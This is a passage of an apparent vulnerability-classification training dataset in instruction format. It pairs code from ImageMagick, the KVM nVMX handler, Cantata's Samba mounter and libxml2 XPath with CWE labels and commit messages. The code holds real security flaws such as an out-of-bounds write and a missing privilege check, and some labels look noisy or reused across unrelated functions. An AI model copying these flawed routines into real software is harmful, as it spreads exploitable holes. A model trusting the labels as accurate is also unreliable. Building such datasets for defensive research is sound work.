(q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < ((ssize_t) image->columns-1); x+=2)\n {\n (void) IsValidColormapIndex(image,(ssize_t) ((*p >> 4) & 0x0f),\n &index,exception);\n SetPixelIndex(indexes+x,index);\n (void) IsValidColormapIndex(image,(ssize_t) (*p & 0x0f),&index,\n exception);\n SetPixelIndex(indexes+x+1,index);\n p++;\n }\n if ((image->columns % 2) != 0)\n {\n (void) IsValidColormapIndex(image,(ssize_t) ((*p >> 4) & 0xf),\n &index,exception);\n SetPixelIndex(indexes+(x++),index);\n p++;\n }\n if (x < (ssize_t) image->columns)\n break;\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image);\n break;\n }\n case 8:\n {\n /*\n Convert PseudoColor scanline.\n */\n if ((bmp_info.compression == BI_RLE8) ||\n (bmp_info.compression == BI_RLE4))\n bytes_per_line=image->columns;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=(ssize_t) image->columns; x != 0; --x)\n {\n (void) IsValidColormapIndex(image,(ssize_t) *p,&index,exception);\n SetPixelIndex(indexes,index);\n indexes++;\n p++;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image);\n break;\n }\n case 16:\n {\n unsigned int\n alpha,\n pixel;\n\n /*\n Convert bitfield encoded 16-bit PseudoColor scanline.\n */\n if (bmp_info.compression != BI_RGB &&\n bmp_info.compression != BI_BITFIELDS)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=2*(image->columns+image->columns % 2);\n image->storage_class=DirectClass;\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=(*p++) << 8;\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 5)\n red|=((red & 0xe000) >> 5);\n if (quantum_bits.red <= 8)\n red|=((red & 0xff00) >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 5)\n green|=((green & 0xe000) >> 5);\n if (quantum_bits.green == 6)\n green|=((green & 0xc000) >> 6);\n if (quantum_bits.green <= 8)\n green|=((green & 0xff00) >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 5)\n blue|=((blue & 0xe000) >> 5);\n if (quantum_bits.blue <= 8)\n blue|=((blue & 0xff00) >> 8);\n SetPixelRed(q,ScaleShortToQuantum((unsigned short) red));\n SetPixelGreen(q,ScaleShortToQuantum((unsigned short) green));\n SetPixelBlue(q,ScaleShortToQuantum((unsigned short) blue));\n SetPixelOpacity(q,OpaqueOpacity);\n if (image->matte != MagickFalse)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.opacity) >> 16;\n if (quantum_bits.opacity <= 8)\n alpha|=((alpha & 0xff00) >> 8);\n SetPixelAlpha(q,ScaleShortToQuantum((unsigned short) alpha));\n }\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 24:\n {\n /*\n Convert DirectColor scanline.\n */\n bytes_per_line=4*((image->columns*24+31)/32);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelBlue(q,ScaleCharToQuantum(*p++));\n SetPixelGreen(q,ScaleCharToQuantum(*p++));\n SetPixelRed(q,ScaleCharToQuantum(*p++));\n SetPixelOpacity(q,OpaqueOpacity);\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n case 32:\n {\n /*\n Convert bitfield encoded DirectColor scanline.\n */\n if ((bmp_info.compression != BI_RGB) &&\n (bmp_info.compression != BI_BITFIELDS))\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnrecognizedImageCompression\");\n }\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n unsigned int\n alpha,\n pixel;\n\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n pixel=(unsigned int) (*p++);\n pixel|=((unsigned int) *p++ << 8);\n pixel|=((unsigned int) *p++ << 16);\n pixel|=((unsigned int) *p++ << 24);\n red=((pixel & bmp_info.red_mask) << shift.red) >> 16;\n if (quantum_bits.red == 8)\n red|=(red >> 8);\n green=((pixel & bmp_info.green_mask) << shift.green) >> 16;\n if (quantum_bits.green == 8)\n green|=(green >> 8);\n blue=((pixel & bmp_info.blue_mask) << shift.blue) >> 16;\n if (quantum_bits.blue == 8)\n blue|=(blue >> 8);\n SetPixelRed(q,ScaleShortToQuantum((unsigned short) red));\n SetPixelGreen(q,ScaleShortToQuantum((unsigned short) green));\n SetPixelBlue(q,ScaleShortToQuantum((unsigned short) blue));\n SetPixelAlpha(q,OpaqueOpacity);\n if (image->matte != MagickFalse)\n {\n alpha=((pixel & bmp_info.alpha_mask) << shift.opacity) >> 16;\n if (quantum_bits.opacity == 8)\n alpha|=(alpha >> 8);\n SetPixelAlpha(q,ScaleShortToQuantum((unsigned short) alpha));\n }\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n offset=(MagickOffsetType) (image->rows-y-1);\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n break;\n }\n default:\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (y > 0)\n break;\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n if (bmp_info.height < 0)\n {\n Image\n *flipped_image;\n\n /*\n Correct image orientation.\n */\n flipped_image=FlipImage(image,exception);\n if (flipped_image != (Image *) NULL)\n {\n DuplicateBlob(flipped_image,image);\n ReplaceImageInList(&image, flipped_image);\n image=flipped_image;\n }\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n *magick='\\0';\n if (bmp_info.ba_offset != 0)\n {\n offset=SeekBlob(image,(MagickOffsetType) bmp_info.ba_offset,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,2,magick);\n if ((count == 2) && (IsBMP(magick,2) != MagickFalse))\n {\n /*\n Acquire next image structure.\n */\n AcquireNextImage(image_info,image);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (IsBMP(magick,2) != MagickFalse);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1177'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int handle_vmptrst(struct kvm_vcpu *vcpu)\n{\n\tunsigned long exit_qualification = vmcs_readl(EXIT_QUALIFICATION);\n\tu32 vmx_instruction_info = vmcs_read32(VMX_INSTRUCTION_INFO);\n\tgva_t vmcs_gva;\n\tstruct x86_exception e;\n\n\tif (!nested_vmx_check_permission(vcpu))\n\t\treturn 1;\n\n\tif (get_vmx_mem_address(vcpu, exit_qualification,\n\t\t\tvmx_instruction_info, true, &vmcs_gva))\n\t\treturn 1;\n\t/* ok to use *_system, as hardware has verified cpl=0 */\n\tif (kvm_write_guest_virt_system(&vcpu->arch.emulate_ctxt, vmcs_gva,\n\t\t\t\t (void *)&to_vmx(vcpu)->nested.current_vmptr,\n\t\t\t\t sizeof(u64), &e)) {\n\t\tkvm_inject_page_fault(vcpu, &e);\n\t\treturn 1;\n\t}\n\tnested_vmx_succeed(vcpu);\n\treturn kvm_skip_emulated_instruction(vcpu);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284'], 'message': 'kvm: nVMX: Enforce cpl=0 for VMX instructions\n\nVMX instructions executed inside a L1 VM will always trigger a VM exit\neven when executed with cpl 3. This means we must perform the\nprivilege check in software.\n\nFixes: 70f3aac964ae(\"kvm: nVMX: Remove superfluous VMX instruction fault checks\")\nCc: stable@vger.kernel.org\nSigned-off-by: Felix Wilhelm \nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void Mounter::umountResult(int st)\n{\n QProcess *proc=dynamic_cast(sender());\n if (proc) {\n procCount--;\n proc->close();\n proc->deleteLater();\n emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n }\n startTimer();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-22'], 'message': 'Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline bool mpOk(const QString &mp)\n{\n return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-22'], 'message': 'Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n{\n if (calledFromDBus()) {\n registerPid(pid);\n }\n\n qWarning() << url << mountPoint << uid << gid;\n QUrl u(url);\n int st=-1;\n\n if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n QString user=u.userName();\n QString domain;\n QString password=u.password();\n int port=u.port();\n\n #if QT_VERSION < 0x050000\n if (u.hasQueryItem(\"domain\")) {\n domain=u.queryItemValue(\"domain\");\n }\n #else\n QUrlQuery q(u);\n if (q.hasQueryItem(\"domain\")) {\n domain=q.queryItemValue(\"domain\");\n }\n #endif\n\n QTemporaryFile *temp=0;\n\n if (!password.isEmpty()) {\n temp=new QTemporaryFile();\n if (temp && temp->open()) {\n QTextStream str(temp);\n if (!user.isEmpty()) {\n str << \"username=\" << user << endl;\n }\n str << \"password=\" << password << endl;\n if (!domain.isEmpty()) {\n str << \"domain=\" << domain << endl;\n }\n }\n }\n\n QString path=fixPath(u.host()+\"/\"+u.path());\n while (!path.startsWith(\"//\")) {\n path=\"/\"+path;\n }\n\n// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n// << \"-o\" <<\n// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n// (temp ? QString() : \",password=\");\n QProcess *proc=new QProcess(this);\n connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n proc->setProperty(\"mp\", mountPoint);\n proc->setProperty(\"pid\", pid);\n proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n QStringList() << path << mountPoint\n << \"-o\" <<\n (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n if (temp) {\n tempFiles.insert(proc, temp);\n }\n procCount++;\n return;\n }\n emit mountStatus(mountPoint, pid, st);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-22'], 'message': 'Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool isLocalDomain(const QString &d)\n{\n return QLatin1String(\"local\")==d.section('.', -1, -1).toLower();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-22'], 'message': 'Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: */\nstatic int\nxmlXPathCompOpEval(xmlXPathParserContextPtr ctxt, xmlXPathStepOpPtr op)\n{\n int total = 0;\n int equal, ret;\n xmlXPathCompExprPtr comp;\n xmlXPathObjectPtr arg1, arg2;\n\n CHECK_ERROR0;\n comp = ctxt->comp;\n switch (op->op) {\n case XPATH_OP_END:\n return (0);\n case XPATH_OP_AND:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n xmlXPathBooleanFunction(ctxt, 1);\n if ((ctxt->value == NULL) || (ctxt->value->boolval == 0))\n return (total);\n arg2 = valuePop(ctxt);\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t if (ctxt->error) {\n\t\txmlXPathFreeObject(arg2);\n\t\treturn(0);\n\t }\n xmlXPathBooleanFunction(ctxt, 1);\n arg1 = valuePop(ctxt);\n arg1->boolval &= arg2->boolval;\n valuePush(ctxt, arg1);\n\t xmlXPathReleaseObject(ctxt->context, arg2);\n return (total);\n case XPATH_OP_OR:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n xmlXPathBooleanFunction(ctxt, 1);\n if ((ctxt->value == NULL) || (ctxt->value->boolval == 1))\n return (total);\n arg2 = valuePop(ctxt);\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t if (ctxt->error) {\n\t\txmlXPathFreeObject(arg2);\n\t\treturn(0);\n\t }\n xmlXPathBooleanFunction(ctxt, 1);\n arg1 = valuePop(ctxt);\n arg1->boolval |= arg2->boolval;\n valuePush(ctxt, arg1);\n\t xmlXPathReleaseObject(ctxt->context, arg2);\n return (total);\n case XPATH_OP_EQUAL:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n\t if (op->value)\n\t\tequal = xmlXPathEqualValues(ctxt);\n\t else\n\t\tequal = xmlXPathNotEqualValues(ctxt);\n\t valuePush(ctxt, xmlXPathCacheNewBoolean(ctxt->context, equal));\n return (total);\n case XPATH_OP_CMP:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n ret = xmlXPathCompareValues(ctxt, op->value, op->value2);\n\t valuePush(ctxt, xmlXPathCacheNewBoolean(ctxt->context, ret));\n return (total);\n case XPATH_OP_PLUS:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n if (op->ch2 != -1) {\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t }\n\t CHECK_ERROR0;\n if (op->value == 0)\n xmlXPathSubValues(ctxt);\n else if (op->value == 1)\n xmlXPathAddValues(ctxt);\n else if (op->value == 2)\n xmlXPathValueFlipSign(ctxt);\n else if (op->value == 3) {\n CAST_TO_NUMBER;\n CHECK_TYPE0(XPATH_NUMBER);\n }\n return (total);\n case XPATH_OP_MULT:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n if (op->value == 0)\n xmlXPathMultValues(ctxt);\n else if (op->value == 1)\n xmlXPathDivValues(ctxt);\n else if (op->value == 2)\n xmlXPathModValues(ctxt);\n return (total);\n case XPATH_OP_UNION:\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n\n arg2 = valuePop(ctxt);\n arg1 = valuePop(ctxt);\n if ((arg1 == NULL) || (arg1->type != XPATH_NODESET) ||\n (arg2 == NULL) || (arg2->type != XPATH_NODESET)) {\n\t xmlXPathReleaseObject(ctxt->context, arg1);\n\t xmlXPathReleaseObject(ctxt->context, arg2);\n XP_ERROR0(XPATH_INVALID_TYPE);\n }\n\n\t if ((arg1->nodesetval == NULL) ||\n\t\t((arg2->nodesetval != NULL) &&\n\t\t (arg2->nodesetval->nodeNr != 0)))\n\t {\n\t\targ1->nodesetval = xmlXPathNodeSetMerge(arg1->nodesetval,\n\t\t\t\t\t\t\targ2->nodesetval);\n\t }\n\n valuePush(ctxt, arg1);\n\t xmlXPathReleaseObject(ctxt->context, arg2);\n return (total);\n case XPATH_OP_ROOT:\n xmlXPathRoot(ctxt);\n return (total);\n case XPATH_OP_NODE:\n if (op->ch1 != -1)\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n if (op->ch2 != -1)\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n\t valuePush(ctxt, xmlXPathCacheNewNodeSet(ctxt->context,\n\t\tctxt->context->node));\n return (total);\n case XPATH_OP_COLLECT:{\n if (op->ch1 == -1)\n return (total);\n\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t\tCHECK_ERROR0;\n\n total += xmlXPathNodeCollectAndTest(ctxt, op, NULL, NULL, 0);\n return (total);\n }\n case XPATH_OP_VALUE:\n valuePush(ctxt,\n xmlXPathCacheObjectCopy(ctxt->context,\n\t\t\t(xmlXPathObjectPtr) op->value4));\n return (total);\n case XPATH_OP_VARIABLE:{\n\t\txmlXPathObjectPtr val;\n\n if (op->ch1 != -1)\n total +=\n xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n if (op->value5 == NULL) {\n\t\t val = xmlXPathVariableLookup(ctxt->context, op->value4);\n\t\t if (val == NULL)\n\t\t\tXP_ERROR0(XPATH_UNDEF_VARIABLE_ERROR);\n valuePush(ctxt, val);\n\t\t} else {\n const xmlChar *URI;\n\n URI = xmlXPathNsLookup(ctxt->context, op->value5);\n if (URI == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlXPathCompOpEval: variable %s bound to undefined prefix %s\\n\",\n (char *) op->value4, (char *)op->value5);\n ctxt->error = XPATH_UNDEF_PREFIX_ERROR;\n return (total);\n }\n\t\t val = xmlXPathVariableLookupNS(ctxt->context,\n op->value4, URI);\n\t\t if (val == NULL)\n\t\t\tXP_ERROR0(XPATH_UNDEF_VARIABLE_ERROR);\n valuePush(ctxt, val);\n }\n return (total);\n }\n case XPATH_OP_FUNCTION:{\n xmlXPathFunction func;\n const xmlChar *oldFunc, *oldFuncURI;\n\t\tint i;\n int frame;\n\n frame = xmlXPathSetFrame(ctxt);\n if (op->ch1 != -1) {\n total +=\n xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n if (ctxt->error != XPATH_EXPRESSION_OK) {\n xmlXPathPopFrame(ctxt, frame);\n return (total);\n }\n }\n\t\tif (ctxt->valueNr < ctxt->valueFrame + op->value) {\n\t\t xmlGenericError(xmlGenericErrorContext,\n\t\t\t \"xmlXPathCompOpEval: parameter error\\n\");\n\t\t ctxt->error = XPATH_INVALID_OPERAND;\n xmlXPathPopFrame(ctxt, frame);\n\t\t return (total);\n\t\t}\n\t\tfor (i = 0; i < op->value; i++) {\n\t\t if (ctxt->valueTab[(ctxt->valueNr - 1) - i] == NULL) {\n\t\t\txmlGenericError(xmlGenericErrorContext,\n\t\t\t\t\"xmlXPathCompOpEval: parameter error\\n\");\n\t\t\tctxt->error = XPATH_INVALID_OPERAND;\n xmlXPathPopFrame(ctxt, frame);\n\t\t\treturn (total);\n\t\t }\n }\n if (op->cache != NULL)\n func = op->cache;\n else {\n const xmlChar *URI = NULL;\n\n if (op->value5 == NULL)\n func =\n xmlXPathFunctionLookup(ctxt->context,\n op->value4);\n else {\n URI = xmlXPathNsLookup(ctxt->context, op->value5);\n if (URI == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlXPathCompOpEval: function %s bound to undefined prefix %s\\n\",\n (char *)op->value4, (char *)op->value5);\n xmlXPathPopFrame(ctxt, frame);\n ctxt->error = XPATH_UNDEF_PREFIX_ERROR;\n return (total);\n }\n func = xmlXPathFunctionLookupNS(ctxt->context,\n op->value4, URI);\n }\n if (func == NULL) {\n xmlGenericError(xmlGenericErrorContext,\n \"xmlXPathCompOpEval: function %s not found\\n\",\n (char *)op->value4);\n XP_ERROR0(XPATH_UNKNOWN_FUNC_ERROR);\n }\n op->cache = func;\n op->cacheURI = (void *) URI;\n }\n oldFunc = ctxt->context->function;\n oldFuncURI = ctxt->context->functionURI;\n ctxt->context->function = op->value4;\n ctxt->context->functionURI = op->cacheURI;\n func(ctxt, op->value);\n ctxt->context->function = oldFunc;\n ctxt->context->functionURI = oldFuncURI;\n xmlXPathPopFrame(ctxt, frame);\n return (total);\n }\n case XPATH_OP_ARG:\n if (op->ch1 != -1) {\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t CHECK_ERROR0;\n }\n if (op->ch2 != -1) {\n total += xmlXPathCompOpEval(ctxt, &comp->steps[op->ch2]);\n\t CHECK_ERROR0;\n\t }\n return (total);\n case XPATH_OP_PREDICATE:\n case XPATH_OP_FILTER:{\n xmlXPathObjectPtr res;\n xmlXPathObjectPtr obj, tmp;\n xmlNodeSetPtr newset = NULL;\n xmlNodeSetPtr oldset;\n xmlNodePtr oldnode;\n\t\txmlDocPtr oldDoc;\n int oldcs, oldpp;\n int i;\n\n /*\n * Optimization for ()[1] selection i.e. the first elem\n */\n if ((op->ch1 != -1) && (op->ch2 != -1) &&\n#ifdef XP_OPTIMIZED_FILTER_FIRST\n\t\t /*\n\t\t * FILTER TODO: Can we assume that the inner processing\n\t\t * will result in an ordered list if we have an\n\t\t * XPATH_OP_FILTER?\n\t\t * What about an additional field or flag on\n\t\t * xmlXPathObject like @sorted ? This way we wouln'd need\n\t\t * to assume anything, so it would be more robust and\n\t\t * easier to optimize.\n\t\t */\n ((comp->steps[op->ch1].op == XPATH_OP_SORT) || /* 18 */\n\t\t (comp->steps[op->ch1].op == XPATH_OP_FILTER)) && /* 17 */\n#else\n\t\t (comp->steps[op->ch1].op == XPATH_OP_SORT) &&\n#endif\n (comp->steps[op->ch2].op == XPATH_OP_VALUE)) { /* 12 */\n xmlXPathObjectPtr val;\n\n val = comp->steps[op->ch2].value4;\n if ((val != NULL) && (val->type == XPATH_NUMBER) &&\n (val->floatval == 1.0)) {\n xmlNodePtr first = NULL;\n\n total +=\n xmlXPathCompOpEvalFirst(ctxt,\n &comp->steps[op->ch1],\n &first);\n\t\t\tCHECK_ERROR0;\n /*\n * The nodeset should be in document order,\n * Keep only the first value\n */\n if ((ctxt->value != NULL) &&\n (ctxt->value->type == XPATH_NODESET) &&\n (ctxt->value->nodesetval != NULL) &&\n (ctxt->value->nodesetval->nodeNr > 1))\n xmlXPathNodeSetClearFromPos(ctxt->value->nodesetval,\n 1, 1);\n return (total);\n }\n }\n /*\n * Optimization for ()[last()] selection i.e. the last elem\n */\n if ((op->ch1 != -1) && (op->ch2 != -1) &&\n (comp->steps[op->ch1].op == XPATH_OP_SORT) &&\n (comp->steps[op->ch2].op == XPATH_OP_SORT)) {\n int f = comp->steps[op->ch2].ch1;\n\n if ((f != -1) &&\n (comp->steps[f].op == XPATH_OP_FUNCTION) &&\n (comp->steps[f].value5 == NULL) &&\n (comp->steps[f].value == 0) &&\n (comp->steps[f].value4 != NULL) &&\n (xmlStrEqual\n (comp->steps[f].value4, BAD_CAST \"last\"))) {\n xmlNodePtr last = NULL;\n\n total +=\n xmlXPathCompOpEvalLast(ctxt,\n &comp->steps[op->ch1],\n &last);\n\t\t\tCHECK_ERROR0;\n /*\n * The nodeset should be in document order,\n * Keep only the last value\n */\n if ((ctxt->value != NULL) &&\n (ctxt->value->type == XPATH_NODESET) &&\n (ctxt->value->nodesetval != NULL) &&\n (ctxt->value->nodesetval->nodeTab != NULL) &&\n (ctxt->value->nodesetval->nodeNr > 1))\n xmlXPathNodeSetKeepLast(ctxt->value->nodesetval);\n return (total);\n }\n }\n\t\t/*\n\t\t* Process inner predicates first.\n\t\t* Example \"index[parent::book][1]\":\n\t\t* ...\n\t\t* PREDICATE <-- we are here \"[1]\"\n\t\t* PREDICATE <-- process \"[parent::book]\" first\n\t\t* SORT\n\t\t* COLLECT 'parent' 'name' 'node' book\n\t\t* NODE\n\t\t* ELEM Object is a number : 1\n\t\t*/\n if (op->ch1 != -1)\n total +=\n xmlXPathCompOpEval(ctxt, &comp->steps[op->ch1]);\n\t\tCHECK_ERROR0;\n if (op->ch2 == -1)\n return (total);\n if (ctxt->value == NULL)\n return (total);\n\n#ifdef LIBXML_XPTR_ENABLED\n /*\n * Hum are we filtering the result of an XPointer expression\n */\n if (ctxt->value->type == XPATH_LOCATIONSET) {\n xmlLocationSetPtr newlocset = NULL;\n xmlLocationSetPtr oldlocset;\n\n /*\n * Extract the old locset, and then evaluate the result of the\n * expression for all the element in the locset. use it to grow\n * up a new locset.\n */\n CHECK_TYPE0(XPATH_LOCATIONSET);\n\n if ((ctxt->value->user == NULL) ||\n (((xmlLocationSetPtr) ctxt->value->user)->locNr == 0))\n return (total);\n\n obj = valuePop(ctxt);\n oldlocset = obj->user;\n oldnode = ctxt->context->node;\n oldcs = ctxt->context->contextSize;\n oldpp = ctxt->context->proximityPosition;\n\n newlocset = xmlXPtrLocationSetCreate(NULL);\n\n for (i = 0; i < oldlocset->locNr; i++) {\n /*\n * Run the evaluation with a node list made of a\n * single item in the nodelocset.\n */\n ctxt->context->node = oldlocset->locTab[i]->user;\n ctxt->context->contextSize = oldlocset->locNr;\n ctxt->context->proximityPosition = i + 1;\n\t\t\ttmp = xmlXPathCacheNewNodeSet(ctxt->context,\n\t\t\t ctxt->context->node);\n valuePush(ctxt, tmp);\n\n if (op->ch2 != -1)\n total +=\n xmlXPathCompOpEval(ctxt,\n &comp->steps[op->ch2]);\n\t\t\tif (ctxt->error != XPATH_EXPRESSION_OK) {\n xmlXPtrFreeLocationSet(newlocset);\n goto filter_xptr_error;\n\t\t\t}\n\n /*\n * The result of the evaluation need to be tested to\n * decided whether the filter succeeded or not\n */\n res = valuePop(ctxt);\n if (xmlXPathEvaluatePredicateResult(ctxt, res)) {\n xmlXPtrLocationSetAdd(newlocset,\n 